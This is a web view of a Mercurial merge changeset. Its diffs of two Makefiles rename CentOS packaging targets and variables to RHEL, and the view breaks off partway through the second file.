##// END OF EJS Templates
branching: merge with stable
Martin von Zweigbergk -
r49625:6cfa3068 merge default
parent child Browse files
Show More
@@ -1,296 +1,296 b''
1 # If you want to change PREFIX, do not just edit it below. The changed
1 # If you want to change PREFIX, do not just edit it below. The changed
2 # value wont get passed on to recursive make calls. You should instead
2 # value wont get passed on to recursive make calls. You should instead
3 # override the variable on the command like:
3 # override the variable on the command like:
4 #
4 #
5 # % make PREFIX=/opt/ install
5 # % make PREFIX=/opt/ install
6
6
7 export PREFIX=/usr/local
7 export PREFIX=/usr/local
8
8
9 # Default to Python 3.
9 # Default to Python 3.
10 #
10 #
11 # Windows ships Python 3 as `python.exe`, which may not be on PATH. py.exe is.
11 # Windows ships Python 3 as `python.exe`, which may not be on PATH. py.exe is.
12 ifeq ($(OS),Windows_NT)
12 ifeq ($(OS),Windows_NT)
13 PYTHON?=py -3
13 PYTHON?=py -3
14 else
14 else
15 PYTHON?=python3
15 PYTHON?=python3
16 endif
16 endif
17
17
18 PYOXIDIZER?=pyoxidizer
18 PYOXIDIZER?=pyoxidizer
19
19
20 $(eval HGROOT := $(shell pwd))
20 $(eval HGROOT := $(shell pwd))
21 HGPYTHONS ?= $(HGROOT)/build/pythons
21 HGPYTHONS ?= $(HGROOT)/build/pythons
22 PURE=
22 PURE=
23 PYFILESCMD=find mercurial hgext doc -name '*.py'
23 PYFILESCMD=find mercurial hgext doc -name '*.py'
24 PYFILES:=$(shell $(PYFILESCMD))
24 PYFILES:=$(shell $(PYFILESCMD))
25 DOCFILES=mercurial/helptext/*.txt
25 DOCFILES=mercurial/helptext/*.txt
26 export LANGUAGE=C
26 export LANGUAGE=C
27 export LC_ALL=C
27 export LC_ALL=C
28 TESTFLAGS ?= $(shell echo $$HGTESTFLAGS)
28 TESTFLAGS ?= $(shell echo $$HGTESTFLAGS)
29 OSXVERSIONFLAGS ?= $(shell echo $$OSXVERSIONFLAGS)
29 OSXVERSIONFLAGS ?= $(shell echo $$OSXVERSIONFLAGS)
30 CARGO = cargo
30 CARGO = cargo
31
31
32 # Set this to e.g. "mingw32" to use a non-default compiler.
32 # Set this to e.g. "mingw32" to use a non-default compiler.
33 COMPILER=
33 COMPILER=
34
34
35 COMPILERFLAG_tmp_ =
35 COMPILERFLAG_tmp_ =
36 COMPILERFLAG_tmp_${COMPILER} ?= -c $(COMPILER)
36 COMPILERFLAG_tmp_${COMPILER} ?= -c $(COMPILER)
37 COMPILERFLAG=${COMPILERFLAG_tmp_${COMPILER}}
37 COMPILERFLAG=${COMPILERFLAG_tmp_${COMPILER}}
38
38
39 help:
39 help:
40 @echo 'Commonly used make targets:'
40 @echo 'Commonly used make targets:'
41 @echo ' all - build program and documentation'
41 @echo ' all - build program and documentation'
42 @echo ' install - install program and man pages to $$PREFIX ($(PREFIX))'
42 @echo ' install - install program and man pages to $$PREFIX ($(PREFIX))'
43 @echo ' install-home - install with setup.py install --home=$$HOME ($(HOME))'
43 @echo ' install-home - install with setup.py install --home=$$HOME ($(HOME))'
44 @echo ' local - build for inplace usage'
44 @echo ' local - build for inplace usage'
45 @echo ' tests - run all tests in the automatic test suite'
45 @echo ' tests - run all tests in the automatic test suite'
46 @echo ' test-foo - run only specified tests (e.g. test-merge1.t)'
46 @echo ' test-foo - run only specified tests (e.g. test-merge1.t)'
47 @echo ' dist - run all tests and create a source tarball in dist/'
47 @echo ' dist - run all tests and create a source tarball in dist/'
48 @echo ' clean - remove files created by other targets'
48 @echo ' clean - remove files created by other targets'
49 @echo ' (except installed files or dist source tarball)'
49 @echo ' (except installed files or dist source tarball)'
50 @echo ' update-pot - update i18n/hg.pot'
50 @echo ' update-pot - update i18n/hg.pot'
51 @echo
51 @echo
52 @echo 'Example for a system-wide installation under /usr/local:'
52 @echo 'Example for a system-wide installation under /usr/local:'
53 @echo ' make all && su -c "make install" && hg version'
53 @echo ' make all && su -c "make install" && hg version'
54 @echo
54 @echo
55 @echo 'Example for a local installation (usable in this directory):'
55 @echo 'Example for a local installation (usable in this directory):'
56 @echo ' make local && ./hg version'
56 @echo ' make local && ./hg version'
57
57
58 all: build doc
58 all: build doc
59
59
60 local:
60 local:
61 $(PYTHON) setup.py $(PURE) \
61 $(PYTHON) setup.py $(PURE) \
62 build_py -c -d . \
62 build_py -c -d . \
63 build_ext $(COMPILERFLAG) -i \
63 build_ext $(COMPILERFLAG) -i \
64 build_hgexe $(COMPILERFLAG) -i \
64 build_hgexe $(COMPILERFLAG) -i \
65 build_mo
65 build_mo
66 env HGRCPATH= $(PYTHON) hg version
66 env HGRCPATH= $(PYTHON) hg version
67
67
68 build:
68 build:
69 $(PYTHON) setup.py $(PURE) build $(COMPILERFLAG)
69 $(PYTHON) setup.py $(PURE) build $(COMPILERFLAG)
70
70
71 build-chg:
71 build-chg:
72 make -C contrib/chg
72 make -C contrib/chg
73
73
74 build-rhg:
74 build-rhg:
75 (cd rust/rhg; cargo build --release)
75 (cd rust/rhg; cargo build --release)
76
76
77 wheel:
77 wheel:
78 FORCE_SETUPTOOLS=1 $(PYTHON) setup.py $(PURE) bdist_wheel $(COMPILERFLAG)
78 FORCE_SETUPTOOLS=1 $(PYTHON) setup.py $(PURE) bdist_wheel $(COMPILERFLAG)
79
79
80 doc:
80 doc:
81 $(MAKE) -C doc
81 $(MAKE) -C doc
82
82
83 cleanbutpackages:
83 cleanbutpackages:
84 rm -f hg.exe
84 rm -f hg.exe
85 -$(PYTHON) setup.py clean --all # ignore errors from this command
85 -$(PYTHON) setup.py clean --all # ignore errors from this command
86 find contrib doc hgext hgext3rd i18n mercurial tests hgdemandimport \
86 find contrib doc hgext hgext3rd i18n mercurial tests hgdemandimport \
87 \( -name '*.py[cdo]' -o -name '*.so' \) -exec rm -f '{}' ';'
87 \( -name '*.py[cdo]' -o -name '*.so' \) -exec rm -f '{}' ';'
88 rm -f MANIFEST MANIFEST.in hgext/__index__.py tests/*.err
88 rm -f MANIFEST MANIFEST.in hgext/__index__.py tests/*.err
89 rm -f mercurial/__modulepolicy__.py
89 rm -f mercurial/__modulepolicy__.py
90 if test -d .hg; then rm -f mercurial/__version__.py; fi
90 if test -d .hg; then rm -f mercurial/__version__.py; fi
91 rm -rf build mercurial/locale
91 rm -rf build mercurial/locale
92 $(MAKE) -C doc clean
92 $(MAKE) -C doc clean
93 $(MAKE) -C contrib/chg distclean
93 $(MAKE) -C contrib/chg distclean
94 rm -rf rust/target
94 rm -rf rust/target
95 rm -f mercurial/rustext.so
95 rm -f mercurial/rustext.so
96
96
97 clean: cleanbutpackages
97 clean: cleanbutpackages
98 rm -rf packages
98 rm -rf packages
99
99
100 install: install-bin install-doc
100 install: install-bin install-doc
101
101
102 install-bin: build
102 install-bin: build
103 $(PYTHON) setup.py $(PURE) install --root="$(DESTDIR)/" --prefix="$(PREFIX)" --force
103 $(PYTHON) setup.py $(PURE) install --root="$(DESTDIR)/" --prefix="$(PREFIX)" --force
104
104
105 install-chg: build-chg
105 install-chg: build-chg
106 make -C contrib/chg install PREFIX="$(PREFIX)"
106 make -C contrib/chg install PREFIX="$(PREFIX)"
107
107
108 install-doc: doc
108 install-doc: doc
109 cd doc && $(MAKE) $(MFLAGS) install
109 cd doc && $(MAKE) $(MFLAGS) install
110
110
111 install-home: install-home-bin install-home-doc
111 install-home: install-home-bin install-home-doc
112
112
113 install-home-bin: build
113 install-home-bin: build
114 $(PYTHON) setup.py $(PURE) install --home="$(HOME)" --prefix="" --force
114 $(PYTHON) setup.py $(PURE) install --home="$(HOME)" --prefix="" --force
115
115
116 install-home-doc: doc
116 install-home-doc: doc
117 cd doc && $(MAKE) $(MFLAGS) PREFIX="$(HOME)" install
117 cd doc && $(MAKE) $(MFLAGS) PREFIX="$(HOME)" install
118
118
119 install-rhg: build-rhg
119 install-rhg: build-rhg
120 install -m 755 rust/target/release/rhg "$(PREFIX)"/bin/
120 install -m 755 rust/target/release/rhg "$(PREFIX)"/bin/
121
121
122 MANIFEST-doc:
122 MANIFEST-doc:
123 $(MAKE) -C doc MANIFEST
123 $(MAKE) -C doc MANIFEST
124
124
125 MANIFEST.in: MANIFEST-doc
125 MANIFEST.in: MANIFEST-doc
126 hg manifest | sed -e 's/^/include /' > MANIFEST.in
126 hg manifest | sed -e 's/^/include /' > MANIFEST.in
127 echo include mercurial/__version__.py >> MANIFEST.in
127 echo include mercurial/__version__.py >> MANIFEST.in
128 sed -e 's/^/include /' < doc/MANIFEST >> MANIFEST.in
128 sed -e 's/^/include /' < doc/MANIFEST >> MANIFEST.in
129
129
130 dist: tests dist-notests
130 dist: tests dist-notests
131
131
132 dist-notests: doc MANIFEST.in
132 dist-notests: doc MANIFEST.in
133 TAR_OPTIONS="--owner=root --group=root --mode=u+w,go-w,a+rX-s" $(PYTHON) setup.py -q sdist
133 TAR_OPTIONS="--owner=root --group=root --mode=u+w,go-w,a+rX-s" $(PYTHON) setup.py -q sdist
134
134
135 check: tests
135 check: tests
136
136
137 tests:
137 tests:
138 # Run Rust tests if cargo is installed
138 # Run Rust tests if cargo is installed
139 if command -v $(CARGO) >/dev/null 2>&1; then \
139 if command -v $(CARGO) >/dev/null 2>&1; then \
140 $(MAKE) rust-tests; \
140 $(MAKE) rust-tests; \
141 fi
141 fi
142 cd tests && $(PYTHON) run-tests.py $(TESTFLAGS)
142 cd tests && $(PYTHON) run-tests.py $(TESTFLAGS)
143
143
144 test-%:
144 test-%:
145 cd tests && $(PYTHON) run-tests.py $(TESTFLAGS) $@
145 cd tests && $(PYTHON) run-tests.py $(TESTFLAGS) $@
146
146
147 testpy-%:
147 testpy-%:
148 @echo Looking for Python $* in $(HGPYTHONS)
148 @echo Looking for Python $* in $(HGPYTHONS)
149 [ -e $(HGPYTHONS)/$*/bin/python ] || ( \
149 [ -e $(HGPYTHONS)/$*/bin/python ] || ( \
150 cd $$(mktemp --directory --tmpdir) && \
150 cd $$(mktemp --directory --tmpdir) && \
151 $(MAKE) -f $(HGROOT)/contrib/Makefile.python PYTHONVER=$* PREFIX=$(HGPYTHONS)/$* python )
151 $(MAKE) -f $(HGROOT)/contrib/Makefile.python PYTHONVER=$* PREFIX=$(HGPYTHONS)/$* python )
152 cd tests && $(HGPYTHONS)/$*/bin/python run-tests.py $(TESTFLAGS)
152 cd tests && $(HGPYTHONS)/$*/bin/python run-tests.py $(TESTFLAGS)
153
153
154 rust-tests: py_feature = $(shell $(PYTHON) -c \
154 rust-tests: py_feature = $(shell $(PYTHON) -c \
155 'import sys; print(["python27-bin", "python3-bin"][sys.version_info[0] >= 3])')
155 'import sys; print(["python27-bin", "python3-bin"][sys.version_info[0] >= 3])')
156 rust-tests:
156 rust-tests:
157 cd $(HGROOT)/rust/hg-cpython \
157 cd $(HGROOT)/rust/hg-cpython \
158 && $(CARGO) test --quiet --all \
158 && $(CARGO) test --quiet --all \
159 --no-default-features --features "$(py_feature) $(HG_RUST_FEATURES)"
159 --no-default-features --features "$(py_feature) $(HG_RUST_FEATURES)"
160
160
161 check-code:
161 check-code:
162 hg manifest | xargs python contrib/check-code.py
162 hg manifest | xargs python contrib/check-code.py
163
163
164 format-c:
164 format-c:
165 clang-format --style file -i \
165 clang-format --style file -i \
166 `hg files 'set:(**.c or **.cc or **.h) and not "listfile:contrib/clang-format-ignorelist"'`
166 `hg files 'set:(**.c or **.cc or **.h) and not "listfile:contrib/clang-format-ignorelist"'`
167
167
168 update-pot: i18n/hg.pot
168 update-pot: i18n/hg.pot
169
169
170 i18n/hg.pot: $(PYFILES) $(DOCFILES) i18n/posplit i18n/hggettext
170 i18n/hg.pot: $(PYFILES) $(DOCFILES) i18n/posplit i18n/hggettext
171 $(PYTHON) i18n/hggettext mercurial/commands.py \
171 $(PYTHON) i18n/hggettext mercurial/commands.py \
172 hgext/*.py hgext/*/__init__.py \
172 hgext/*.py hgext/*/__init__.py \
173 mercurial/fileset.py mercurial/revset.py \
173 mercurial/fileset.py mercurial/revset.py \
174 mercurial/templatefilters.py \
174 mercurial/templatefilters.py \
175 mercurial/templatefuncs.py \
175 mercurial/templatefuncs.py \
176 mercurial/templatekw.py \
176 mercurial/templatekw.py \
177 mercurial/filemerge.py \
177 mercurial/filemerge.py \
178 mercurial/hgweb/webcommands.py \
178 mercurial/hgweb/webcommands.py \
179 mercurial/util.py \
179 mercurial/util.py \
180 $(DOCFILES) > i18n/hg.pot.tmp
180 $(DOCFILES) > i18n/hg.pot.tmp
181 # All strings marked for translation in Mercurial contain
181 # All strings marked for translation in Mercurial contain
182 # ASCII characters only. But some files contain string
182 # ASCII characters only. But some files contain string
183 # literals like this '\037\213'. xgettext thinks it has to
183 # literals like this '\037\213'. xgettext thinks it has to
184 # parse them even though they are not marked for translation.
184 # parse them even though they are not marked for translation.
185 # Extracting with an explicit encoding of ISO-8859-1 will make
185 # Extracting with an explicit encoding of ISO-8859-1 will make
186 # xgettext "parse" and ignore them.
186 # xgettext "parse" and ignore them.
187 $(PYFILESCMD) | xargs \
187 $(PYFILESCMD) | xargs \
188 xgettext --package-name "Mercurial" \
188 xgettext --package-name "Mercurial" \
189 --msgid-bugs-address "<mercurial-devel@mercurial-scm.org>" \
189 --msgid-bugs-address "<mercurial-devel@mercurial-scm.org>" \
190 --copyright-holder "Olivia Mackall <olivia@selenic.com> and others" \
190 --copyright-holder "Olivia Mackall <olivia@selenic.com> and others" \
191 --from-code ISO-8859-1 --join --sort-by-file --add-comments=i18n: \
191 --from-code ISO-8859-1 --join --sort-by-file --add-comments=i18n: \
192 -d hg -p i18n -o hg.pot.tmp
192 -d hg -p i18n -o hg.pot.tmp
193 $(PYTHON) i18n/posplit i18n/hg.pot.tmp
193 $(PYTHON) i18n/posplit i18n/hg.pot.tmp
194 # The target file is not created before the last step. So it never is in
194 # The target file is not created before the last step. So it never is in
195 # an intermediate state.
195 # an intermediate state.
196 mv -f i18n/hg.pot.tmp i18n/hg.pot
196 mv -f i18n/hg.pot.tmp i18n/hg.pot
197
197
198 %.po: i18n/hg.pot
198 %.po: i18n/hg.pot
199 # work on a temporary copy for never having a half completed target
199 # work on a temporary copy for never having a half completed target
200 cp $@ $@.tmp
200 cp $@ $@.tmp
201 msgmerge --no-location --update $@.tmp $^
201 msgmerge --no-location --update $@.tmp $^
202 mv -f $@.tmp $@
202 mv -f $@.tmp $@
203
203
204 # Packaging targets
204 # Packaging targets
205
205
206 packaging_targets := \
206 packaging_targets := \
207 centos7 \
207 rhel7 \
208 centos8 \
208 rhel8 \
209 deb \
209 deb \
210 docker-centos7 \
210 docker-rhel7 \
211 docker-centos8 \
211 docker-rhel8 \
212 docker-debian-bullseye \
212 docker-debian-bullseye \
213 docker-debian-buster \
213 docker-debian-buster \
214 docker-debian-stretch \
214 docker-debian-stretch \
215 docker-fedora \
215 docker-fedora \
216 docker-ubuntu-xenial \
216 docker-ubuntu-xenial \
217 docker-ubuntu-xenial-ppa \
217 docker-ubuntu-xenial-ppa \
218 docker-ubuntu-bionic \
218 docker-ubuntu-bionic \
219 docker-ubuntu-bionic-ppa \
219 docker-ubuntu-bionic-ppa \
220 docker-ubuntu-focal \
220 docker-ubuntu-focal \
221 docker-ubuntu-focal-ppa \
221 docker-ubuntu-focal-ppa \
222 fedora \
222 fedora \
223 linux-wheels \
223 linux-wheels \
224 linux-wheels-x86_64 \
224 linux-wheels-x86_64 \
225 linux-wheels-i686 \
225 linux-wheels-i686 \
226 ppa
226 ppa
227
227
228 # Forward packaging targets for convenience.
228 # Forward packaging targets for convenience.
229 $(packaging_targets):
229 $(packaging_targets):
230 $(MAKE) -C contrib/packaging $@
230 $(MAKE) -C contrib/packaging $@
231
231
232 osx:
232 osx:
233 rm -rf build/mercurial
233 rm -rf build/mercurial
234 /usr/bin/python2.7 setup.py install --optimize=1 \
234 /usr/bin/python2.7 setup.py install --optimize=1 \
235 --root=build/mercurial/ --prefix=/usr/local/ \
235 --root=build/mercurial/ --prefix=/usr/local/ \
236 --install-lib=/Library/Python/2.7/site-packages/
236 --install-lib=/Library/Python/2.7/site-packages/
237 make -C doc all install DESTDIR="$(PWD)/build/mercurial/"
237 make -C doc all install DESTDIR="$(PWD)/build/mercurial/"
238 # Place a bogon .DS_Store file in the target dir so we can be
238 # Place a bogon .DS_Store file in the target dir so we can be
239 # sure it doesn't get included in the final package.
239 # sure it doesn't get included in the final package.
240 touch build/mercurial/.DS_Store
240 touch build/mercurial/.DS_Store
241 # install zsh completions - this location appears to be
241 # install zsh completions - this location appears to be
242 # searched by default as of macOS Sierra.
242 # searched by default as of macOS Sierra.
243 install -d build/mercurial/usr/local/share/zsh/site-functions/
243 install -d build/mercurial/usr/local/share/zsh/site-functions/
244 install -m 0644 contrib/zsh_completion build/mercurial/usr/local/share/zsh/site-functions/_hg
244 install -m 0644 contrib/zsh_completion build/mercurial/usr/local/share/zsh/site-functions/_hg
245 # install bash completions - there doesn't appear to be a
245 # install bash completions - there doesn't appear to be a
246 # place that's searched by default for bash, so we'll follow
246 # place that's searched by default for bash, so we'll follow
247 # the lead of Apple's git install and just put it in a
247 # the lead of Apple's git install and just put it in a
248 # location of our own.
248 # location of our own.
249 install -d build/mercurial/usr/local/hg/contrib/
249 install -d build/mercurial/usr/local/hg/contrib/
250 install -m 0644 contrib/bash_completion build/mercurial/usr/local/hg/contrib/hg-completion.bash
250 install -m 0644 contrib/bash_completion build/mercurial/usr/local/hg/contrib/hg-completion.bash
251 make -C contrib/chg \
251 make -C contrib/chg \
252 HGPATH=/usr/local/bin/hg \
252 HGPATH=/usr/local/bin/hg \
253 PYTHON=/usr/bin/python2.7 \
253 PYTHON=/usr/bin/python2.7 \
254 DESTDIR=../../build/mercurial \
254 DESTDIR=../../build/mercurial \
255 PREFIX=/usr/local \
255 PREFIX=/usr/local \
256 clean install
256 clean install
257 mkdir -p $${OUTPUTDIR:-dist}
257 mkdir -p $${OUTPUTDIR:-dist}
258 HGVER=$$(python contrib/genosxversion.py $(OSXVERSIONFLAGS) build/mercurial/Library/Python/2.7/site-packages/mercurial/__version__.py) && \
258 HGVER=$$(python contrib/genosxversion.py $(OSXVERSIONFLAGS) build/mercurial/Library/Python/2.7/site-packages/mercurial/__version__.py) && \
259 OSXVER=$$(sw_vers -productVersion | cut -d. -f1,2) && \
259 OSXVER=$$(sw_vers -productVersion | cut -d. -f1,2) && \
260 pkgbuild --filter \\.DS_Store --root build/mercurial/ \
260 pkgbuild --filter \\.DS_Store --root build/mercurial/ \
261 --identifier org.mercurial-scm.mercurial \
261 --identifier org.mercurial-scm.mercurial \
262 --version "$${HGVER}" \
262 --version "$${HGVER}" \
263 build/mercurial.pkg && \
263 build/mercurial.pkg && \
264 productbuild --distribution contrib/packaging/macosx/distribution.xml \
264 productbuild --distribution contrib/packaging/macosx/distribution.xml \
265 --package-path build/ \
265 --package-path build/ \
266 --version "$${HGVER}" \
266 --version "$${HGVER}" \
267 --resources contrib/packaging/macosx/ \
267 --resources contrib/packaging/macosx/ \
268 "$${OUTPUTDIR:-dist/}"/Mercurial-"$${HGVER}"-macosx"$${OSXVER}".pkg
268 "$${OUTPUTDIR:-dist/}"/Mercurial-"$${HGVER}"-macosx"$${OSXVER}".pkg
269
269
270 pyoxidizer:
270 pyoxidizer:
271 $(PYOXIDIZER) build --path ./rust/hgcli --release
271 $(PYOXIDIZER) build --path ./rust/hgcli --release
272
272
273
273
274 PYOX_DIR=build/pyoxidizer/x86_64-pc-windows-msvc/release/app
274 PYOX_DIR=build/pyoxidizer/x86_64-pc-windows-msvc/release/app
275
275
276 # a temporary target to setup all we need for run-tests.py --pyoxidizer
276 # a temporary target to setup all we need for run-tests.py --pyoxidizer
277 # (should go away as the run-tests implementation improves
277 # (should go away as the run-tests implementation improves
278 pyoxidizer-windows-tests: pyoxidizer
278 pyoxidizer-windows-tests: pyoxidizer
279 rm -rf $(PYOX_DIR)/templates
279 rm -rf $(PYOX_DIR)/templates
280 cp -ar $(PYOX_DIR)/lib/mercurial/templates $(PYOX_DIR)/templates
280 cp -ar $(PYOX_DIR)/lib/mercurial/templates $(PYOX_DIR)/templates
281 rm -rf $(PYOX_DIR)/helptext
281 rm -rf $(PYOX_DIR)/helptext
282 cp -ar $(PYOX_DIR)/lib/mercurial/helptext $(PYOX_DIR)/helptext
282 cp -ar $(PYOX_DIR)/lib/mercurial/helptext $(PYOX_DIR)/helptext
283 rm -rf $(PYOX_DIR)/defaultrc
283 rm -rf $(PYOX_DIR)/defaultrc
284 cp -ar $(PYOX_DIR)/lib/mercurial/defaultrc $(PYOX_DIR)/defaultrc
284 cp -ar $(PYOX_DIR)/lib/mercurial/defaultrc $(PYOX_DIR)/defaultrc
285 rm -rf $(PYOX_DIR)/contrib
285 rm -rf $(PYOX_DIR)/contrib
286 cp -ar contrib $(PYOX_DIR)/contrib
286 cp -ar contrib $(PYOX_DIR)/contrib
287 rm -rf $(PYOX_DIR)/doc
287 rm -rf $(PYOX_DIR)/doc
288 cp -ar doc $(PYOX_DIR)/doc
288 cp -ar doc $(PYOX_DIR)/doc
289
289
290
290
291 .PHONY: help all local build doc cleanbutpackages clean install install-bin \
291 .PHONY: help all local build doc cleanbutpackages clean install install-bin \
292 install-doc install-home install-home-bin install-home-doc \
292 install-doc install-home install-home-bin install-home-doc \
293 dist dist-notests check tests rust-tests check-code format-c \
293 dist dist-notests check tests rust-tests check-code format-c \
294 update-pot pyoxidizer pyoxidizer-windows-tests \
294 update-pot pyoxidizer pyoxidizer-windows-tests \
295 $(packaging_targets) \
295 $(packaging_targets) \
296 osx
296 osx
@@ -1,135 +1,135 b''
1 $(eval HGROOT := $(shell cd ../..; pwd))
1 $(eval HGROOT := $(shell cd ../..; pwd))
2
2
3 DEBIAN_CODENAMES := \
3 DEBIAN_CODENAMES := \
4 stretch \
4 stretch \
5 buster \
5 buster \
6 bullseye
6 bullseye
7
7
8 UBUNTU_CODENAMES := \
8 UBUNTU_CODENAMES := \
9 xenial \
9 xenial \
10 bionic \
10 bionic \
11 cosmic \
11 cosmic \
12 focal
12 focal
13
13
14 FEDORA_RELEASE := 31
14 FEDORA_RELEASE := 31
15
15
16 CENTOS_RELEASES := \
16 RHEL_RELEASES := \
17 7 \
17 7 \
18 8
18 8
19
19
20 # Build a Python for these CentOS releases.
20 # Build a Python for these RHEL (and derivatives) releases.
21 CENTOS_WITH_PYTHON_RELEASES :=
21 RHEL_WITH_PYTHON_RELEASES :=
22 CENTOS_WITH_NONVERSIONED_PYTHON :=
22 RHEL_WITH_NONVERSIONED_PYTHON :=
23 CENTOS_WITH_36_DOCUTILS := 7
23 RHEL_WITH_36_DOCUTILS := 7
24
24
25 help:
25 help:
26 @echo 'Packaging Make Targets'
26 @echo 'Packaging Make Targets'
27 @echo ''
27 @echo ''
28 @echo 'docker-centos{$(strip $(CENTOS_RELEASES))}'
28 @echo 'docker-rhel{$(strip $(RHEL_RELEASES))}'
29 @echo ' Build an RPM for a specific CentOS version using Docker.'
29 @echo ' Build an RPM for a specific RHEL/derivative version using Docker.'
30 @echo ''
30 @echo ''
31 @echo 'docker-debian-{$(strip $(DEBIAN_CODENAMES))}'
31 @echo 'docker-debian-{$(strip $(DEBIAN_CODENAMES))}'
32 @echo ' Build Debian packages specific to a Debian distro using Docker.'
32 @echo ' Build Debian packages specific to a Debian distro using Docker.'
33 @echo ''
33 @echo ''
34 @echo 'docker-fedora'
34 @echo 'docker-fedora'
35 @echo ' Build an RPM for a Fedora $(FEDORA_RELEASE) using Docker.'
35 @echo ' Build an RPM for a Fedora $(FEDORA_RELEASE) using Docker.'
36 @echo ''
36 @echo ''
37 @echo 'docker-ubuntu-{$(strip $(UBUNTU_CODENAMES))}'
37 @echo 'docker-ubuntu-{$(strip $(UBUNTU_CODENAMES))}'
38 @echo ' Build Debian package specific to an Ubuntu distro using Docker.'
38 @echo ' Build Debian package specific to an Ubuntu distro using Docker.'
39 @echo ''
39 @echo ''
40 @echo 'docker-ubuntu-{$(strip $(UBUNTU_CODENAMES))}-ppa'
40 @echo 'docker-ubuntu-{$(strip $(UBUNTU_CODENAMES))}-ppa'
41 @echo ' Build a source-only Debian package specific to an Ubuntu distro'
41 @echo ' Build a source-only Debian package specific to an Ubuntu distro'
42 @echo ' using Docker.'
42 @echo ' using Docker.'
43 @echo ''
43 @echo ''
44 @echo 'linux-wheels'
44 @echo 'linux-wheels'
45 @echo ' Build Linux manylinux wheels using Docker.'
45 @echo ' Build Linux manylinux wheels using Docker.'
46 @echo ''
46 @echo ''
47 @echo 'linux-wheels-{x86_64, i686}'
47 @echo 'linux-wheels-{x86_64, i686}'
48 @echo ' Build Linux manylinux wheels for a specific architecture using Docker'
48 @echo ' Build Linux manylinux wheels for a specific architecture using Docker'
49 @echo ''
49 @echo ''
50 @echo 'deb'
50 @echo 'deb'
51 @echo ' Build a Debian package locally targeting the current system'
51 @echo ' Build a Debian package locally targeting the current system'
52 @echo ''
52 @echo ''
53 @echo 'ppa'
53 @echo 'ppa'
54 @echo ' Build a Debian source package locally targeting the current system'
54 @echo ' Build a Debian source package locally targeting the current system'
55 @echo ''
55 @echo ''
56 @echo 'centos{$(strip $(CENTOS_RELEASES))}'
56 @echo 'rhel{$(strip $(RHEL_RELEASES))}'
57 @echo ' Build an RPM for a specific CentOS version locally'
57 @echo ' Build an RPM for a specific RHEL/derivative version locally'
58 @echo ''
58 @echo ''
59 @echo 'fedora'
59 @echo 'fedora'
60 @echo ' Build an RPM for Fedora $(FEDORA_RELEASE) locally'
60 @echo ' Build an RPM for Fedora $(FEDORA_RELEASE) locally'
61
61
62 .PHONY: help
62 .PHONY: help
63
63
64 .PHONY: deb
64 .PHONY: deb
65 deb:
65 deb:
66 ./builddeb
66 ./builddeb
67
67
68 .PHONY: ppa
68 .PHONY: ppa
69 ppa:
69 ppa:
70 ./builddeb --source-only
70 ./builddeb --source-only
71
71
72 # Debian targets.
72 # Debian targets.
73 define debian_targets =
73 define debian_targets =
74 .PHONY: docker-debian-$(1)
74 .PHONY: docker-debian-$(1)
75 docker-debian-$(1):
75 docker-debian-$(1):
76 ./dockerdeb debian $(1)
76 ./dockerdeb debian $(1)
77
77
78 endef
78 endef
79
79
80 $(foreach codename,$(DEBIAN_CODENAMES),$(eval $(call debian_targets,$(codename))))
80 $(foreach codename,$(DEBIAN_CODENAMES),$(eval $(call debian_targets,$(codename))))
81
81
82 # Ubuntu targets.
82 # Ubuntu targets.
83 define ubuntu_targets =
83 define ubuntu_targets =
84 .PHONY: docker-ubuntu-$(1)
84 .PHONY: docker-ubuntu-$(1)
85 docker-ubuntu-$(1):
85 docker-ubuntu-$(1):
86 ./dockerdeb ubuntu $(1)
86 ./dockerdeb ubuntu $(1)
87
87
88 .PHONY: docker-ubuntu-$(1)-ppa
88 .PHONY: docker-ubuntu-$(1)-ppa
89 docker-ubuntu-$(1)-ppa:
89 docker-ubuntu-$(1)-ppa:
90 ./dockerdeb ubuntu $(1) --source-only
90 ./dockerdeb ubuntu $(1) --source-only
91
91
92 endef
92 endef
93
93
94 $(foreach codename,$(UBUNTU_CODENAMES),$(eval $(call ubuntu_targets,$(codename))))
94 $(foreach codename,$(UBUNTU_CODENAMES),$(eval $(call ubuntu_targets,$(codename))))
95
95
96 # Fedora targets.
96 # Fedora targets.
97 .PHONY: fedora
97 .PHONY: fedora
98 fedora:
98 fedora:
99 mkdir -p $(HGROOT)/packages/fedora$(FEDORA_RELEASE)
99 mkdir -p $(HGROOT)/packages/fedora$(FEDORA_RELEASE)
100 ./buildrpm
100 ./buildrpm
101 cp $(HGROOT)/contrib/packaging/rpmbuild/RPMS/*/* $(HGROOT)/packages/fedora$(FEDORA_RELEASE)
101 cp $(HGROOT)/contrib/packaging/rpmbuild/RPMS/*/* $(HGROOT)/packages/fedora$(FEDORA_RELEASE)
102 cp $(HGROOT)/contrib/packaging/rpmbuild/SRPMS/* $(HGROOT)/packages/fedora$(FEDORA_RELEASE)
102 cp $(HGROOT)/contrib/packaging/rpmbuild/SRPMS/* $(HGROOT)/packages/fedora$(FEDORA_RELEASE)
103 rm -rf $(HGROOT)/rpmbuild
103 rm -rf $(HGROOT)/rpmbuild
104
104
105 .PHONY: docker-fedora
105 .PHONY: docker-fedora
106 docker-fedora:
106 docker-fedora:
107 ./dockerrpm fedora$(FEDORA_RELEASE)
107 ./dockerrpm fedora$(FEDORA_RELEASE)
108
108
109 # CentOS targets.
109 # RHEL targets.
110 define centos_targets
110 define rhel_targets
111 .PHONY: centos$(1)
111 .PHONY: rhel$(1)
112 centos$(1):
112 rhel$(1):
113 mkdir -p $$(HGROOT)/packages/centos$(1)
113 mkdir -p $$(HGROOT)/packages/rhel$(1)
114 ./buildrpm $$(if $$(filter $(1),$$(CENTOS_WITH_PYTHON_RELEASES)),--withpython,$$(if $$(filter $(1),$$(CENTOS_WITH_NONVERSIONED_PYTHON)),--python python,))$$(if $$(filter $(1),$$(CENTOS_WITH_36_DOCUTILS)), --docutilspackage python36-docutils,)
114 ./buildrpm $$(if $$(filter $(1),$$(RHEL_WITH_PYTHON_RELEASES)),--withpython,$$(if $$(filter $(1),$$(RHEL_WITH_NONVERSIONED_PYTHON)),--python python,))$$(if $$(filter $(1),$$(RHEL_WITH_36_DOCUTILS)), --docutilspackage python36-docutils,)
115 cp $$(HGROOT)/contrib/packaging/rpmbuild/RPMS/*/* $$(HGROOT)/packages/centos$(1)
115 cp $$(HGROOT)/contrib/packaging/rpmbuild/RPMS/*/* $$(HGROOT)/packages/rhel$(1)
116 cp $$(HGROOT)/contrib/packaging/rpmbuild/SRPMS/* $$(HGROOT)/packages/centos$(1)
116 cp $$(HGROOT)/contrib/packaging/rpmbuild/SRPMS/* $$(HGROOT)/packages/rhel$(1)
117
117
118 .PHONY: docker-centos$(1)
118 .PHONY: docker-rhel$(1)
119 docker-centos$(1):
